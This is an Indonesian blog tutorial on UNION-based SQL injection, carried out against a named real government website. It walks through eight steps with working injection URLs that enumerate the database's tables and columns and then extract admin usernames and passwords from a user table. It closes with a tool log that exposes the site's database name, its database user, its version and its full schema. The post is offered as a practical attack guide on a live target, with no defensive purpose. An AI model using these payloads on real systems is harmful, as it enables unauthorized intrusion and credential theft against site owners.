13 Agustus 2009

Pin It

Delapan Steps Blind Sql Injection On Php

Pada tutorial blind sql injection ini kita hanya berfokus untuk mencari table dan column yg berhubungan dengan username dan password agar bisa melakukan login sebagai admin.

Step 1: Di situs yg udah gue jadiin target ini, hal yg gue lakukan pertama kali adalah mencoba mencari url dimana gue bisa untuk meng'input / injeksi query, atau dengan kata laen, gw melakukan enumeration pada situs tersebut, dan ternyata memang hampir semua url pada halaman berita situs ini bisa gw input query sql, contoh'a seperti screenshot di bawah ini:










Delapan Steps Blind Sql Injection On Php - khamardos's blog


Step 2: Berikut'a gue mencoba memberikan character / tanda minus (-) di belakang angka 67 untuk mendapatkan sebuah pesan kesalahan / error pada page situs tersebut, dan terlihat setelah gue memberikan tanda minus di belakang angka ternyata content berita menghilang atau dengan kata lain gue mendapati blank page pada content berita












Delapan Steps Blind Sql Injection On Php - khamardos's blog



Step 3: Dari situ udah bisa gw pastikan bahwa situs tersebut vulnerable akan serangan Sql Injection, maka berikut'a gw menambahkan query "+union+all+select+1--", kali ini keluar pesan error seperti berikut:

"Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/dprdkalb/public_html/_berita/berita_show.php on line 11"

Pesan error tersebut bisa di artikan bahwa kita telah memasukan query sql yg ga valid pada directory /home/dprdkalb/public_html/_berita/ di file berita_show.php pada baris code ke 11












Delapan Steps Blind Sql Injection On Php - khamardos's blog



Step 4: Well, now time for penetration victim !! gue mulai melakukan hit count dengan menambahkan query "+union+all+select+1,2,3,4,5,6,dst--" hingga halaman situs mengeluarkan angka, kebetulan pada situs ini gw mendapatkan angka 4,6 dan 3 pada hit count ke 5.












Delapan Steps Blind Sql Injection On Php - khamardos's blog



Step 5: Saat'a untuk mencari table name yg berhubungan dengan access login admin, karena output yg keluar adalah angka 4,6,3 dan di url gw melakukan hit count hingga angka ke 5, maka pada url tersebut gw mulai mengganti angka 4 dengan query "table_name", kenapa harus di angka 4 ?? sebenar'a bisa juga pada angka 6 atau angka 3, tapi disitu angka 6 dan 3 terlihat lebih kecil sehingga apabila gw menaruh query table_name pada angka 6 atau 3 maka output string yg di hasilkan juga akan terlihat kecil, itu lah mengapa gw menaruh'a di angka 4 yg terlihat lebih besar dari angka 6 dan 3.

FYI: String table_name hanya boleh di ganti pada angka yg terdapat di url mengikuti ouput yg keluar pada halaman situs, jadi apabila yg keluar angka 4,5,6 kita hanya boleh mengganti salah satu dari angka² tersebut menjadi string, karena apabila kita menaruh string table_name diluar dari angka yg telah ter'output maka page tidak akan mengeluarkan hasil output string juga.

Untuk mencari table pertama hingga terakhir gw hanya mengganti dan menambahkan angka 0 di belakang tulisan limit pada url, misal dari 0,1 menjadi 1,1 lalu 2,1 dan seterus'a hingga lo mendapatkan table yg di cari.

Berikut query sql beserta screenshot yg gw injeksi pada url situs tersebut yg menghasil kan beberapa nama table hingga table yg di cari.

"http://dprdkalbar.go.id/berita.php?menu=berita_show&&id=-67 +union+all+select+1,2,3,table_name,5,6+from+information_schema.tables+where+ table_schema=database()+limit+0,1--"












Delapan Steps Blind Sql Injection On Php - khamardos's blog
Delapan Steps Blind Sql Injection On Php - khamardos's blog



Step 6: Pada gambar di atas gw udah mendapatkan nama table yg gw cari, yaitu table tbuser, berikut'a gw akan mencari column dari table tbuser tersebut dengan cara mengconvert string tbuser dari ascii menjadi hexadecimal .












Delapan Steps Blind Sql Injection On Php - khamardos's blog



Copy nama table yg telah lo dapet, dan masuk ke situs bawah ini :
http://www.piclist.com/techref/ascii.htm

pada box sebelah kiri (ASCII text box) paste nama table'a, berikut'a click tombol convert dan angka pada box di tengah itulah yg kita copy untuk mencari column dari table tersebut . Hasil dari convert ke hexadecimal harus di tambahkan 0x pada url untuk mencari column name, di bawah code dan screenshot'a untuk situs tersebut

"http://dprdkalbar.go.id/berita.php?menu=berita_show&&id=-67 +union+all+select+1,2,3,column_name,5,6+from+information_schema.columns+ where+table_name=0x746275736572+limit+0,1--"

Untuk mencari nama column pertama hingga column yg di cari, sama seperti mencari nama table yg telah gw jelasin di atas, hanya mengganti dan menambahkan angka 0 di belakang tulisan limit












Delapan Steps Blind Sql Injection On Php - khamardos's blogDelapan Steps Blind Sql Injection On Php - khamardos's blog



Step 7: 0.k sekarang nama table yg di cari udah dapat, begitupun nama column'a juga udah dapat, final gw menggunakan operator concatenation (concat) untuk menyatukan nama column dari table yg di cari, berikut query dan screenshot'a:

"http://dprdkalbar.go.id/berita.php?menu=berita_show&&id=-67+union+all+ select+1,2,3,concat(username,char(58),password),5,6+from+ tbuser--"

step 8: Yupz... pada gambar di atas adalah username dan password login untuk mengakses halaman admin situs tersebut, tp gw kurang puas, masih terlihat angka 3 dan 6 hasil dari hit count, gimana cara untuk menghilangkan'a ?? gunakan nilai null untuk membersihkan'a, di bawah adalah query dan screenshot'a

"http://dprdkalbar.go.id/berita.php?menu=berita_show&&id=-67+union+all+ select+null,null,null,concat(username,char(58),password),null, null+from+tbuser--"












Delapan Steps Blind Sql Injection On Php - khamardos's blog



Terlihat bukan angka 3 dan 6 telah hilang...
------------------------------------------------------------------------------------------------Concatenation : Kondisi dimana lo mau mengeluarkan

output field dengan beberapa column_name atau
karena kurang'a angka dari hasil hit count yang keluar.

Char(58) : Nilai decimal dari tanda titik dua
/ pemisah (:), bisa juga menggunakan 3a,
sehingga menjadi 0x3a agar dapat terbaca di url.

null : Mewakili nilai data yg tidak diketahui
(unknown) atau tidak menentu (indeterminate) atau
kosong (absence of value).

Union : Untuk memilih banyak data dalam satu
statement sql.

+ / %20 : Nilai hexadecimal dari spasi.

------------------------------------------------------------------------------------------------

--===[ PoC ]===--
------------------------------------------------------------------------------------------------
[+] URL:http://dprdkalbar.go.id/berita.php?menu=
berita_show&&id=-67+union+select+all+1,2,3,4,5,6--
[+] Evasion Used: "+" "--"
[+] 17:41:23
[-] Proxy Not Given
[+] Gathering MySQL Server Configuration...
Database: dprdkalb_gllr1
User: dprdkalb_ikhsan@localhost
Version: 5.0.51a-community-log

[Database]: dprdkalb_gllr1
[Table: Columns]
[0]_agenda:
|- id
|- mulai
|- akhir
|- rapat
|- hari
|- jam
|- agenda
|- kegiatan
[1]_anggota:
|- id
|- nama
|- jabatan
|- jabatan2
|- tempat_lahir
|- tgl_lahir
|- alamat
|- telp
|- hp
|- the_file
[2]_berita:
|- id
|- lead
|- isi
|- judul
|- the_file
|- tanggal
[3]_foto:
|- id
|- judul
|- keterangan
|- tanggal
|- the_file
[4]_kepda:
|- id
|- judul
|- tahun
|- perihal
|- the_file
|- the_file2
[5]_keputusan_pimpinan:
|- id
|- judul
|- tahun
|- perihal
|- the_file
|- the_file2
[6]_opini:
|- id
|- judul
|- tanggal
|- lead
|- isi
[7]_perda:
|- id
|- judul
|- tahun
|- perihal
|- the_file
|- the_file2
[8]_profil_ketua:
|- id
|- isi
[9]_raperda:
|- id
|- judul
|- tahun
|- perihal
|- the_file
|- the_file2
[10]_sambutan_dprd:
|- id
|- isi
[11]_sambutan_ketua:
|- id
|- isi
[12]_sekilas_dprd:
|- id
|- isi
[13]_sekretariat:
|- id
|- nama
|- jabatan
|- jabatan2
|- tempat_lahir
|- tgl_lahir
|- alamat
|- hp
|- the_file
[14]_tupoksi_dprd:
|- id
|- isi
[15]as_counter:
|- id
|- counter
[16]as_counterlog:
|- id
|- ip
|- datetime
[17]berita_backup:
|- id
|- lead
|- isi
|- judul
|- the_file
|- tanggal
[18]tbl_auth_user:
|- user_id
|- user_password
[19]tbuser:
|- username
|- password

[-] Total URL Requests 94
------------------------------------------------------------------------------------------------

Share To lintasberita.com | Khamardos Blog

Bagikan Jika Artikel ini menarik, Diharapkan agar memberikannya kepada teman2 anda di Facebook

Artikel Lainnya :

1 comments:

Klik Untuk Lihat Komentar

Abi Says Drunk on 1 November 2011 pukul 02.27 mengatakan...

Pake schemafuzz yah bro ;))

:: Komentar Anda ::

Silahkan isi Komentar anda pada Form Komentar dibawah ini !!!
Kritik dan Saran yang membangun sangat saya harapkan dari sobat semua !!!

NO SPAM PLEASE !!!

Senyum :)) tunggu :)] centil ;)) kedip ;;) unjuk gigi :D hai ;) week - Jelek :p menangis :((
smile :) gawat :( Love - cinta :X briken love - patah hati =(( ooo - ounght :-o bingung :-/ kiss - cium :-* nothing :|
Gila - stres 8-} pusing ~x( takut :-t tenju - pukul b-( marah :-L marah kali x( sangat lucu =))

[[ Form Komentar Klasik ]]

Jika Anda Ingin Berlangganan Artikel Dari Situs Ini,
Silahkan Ketik Email Anda Pada Form Di Bawah Ini :

 
Copyright © 2009 Support by Web Hosting Indonesia - IDCloudhost | Tweaking by Mufied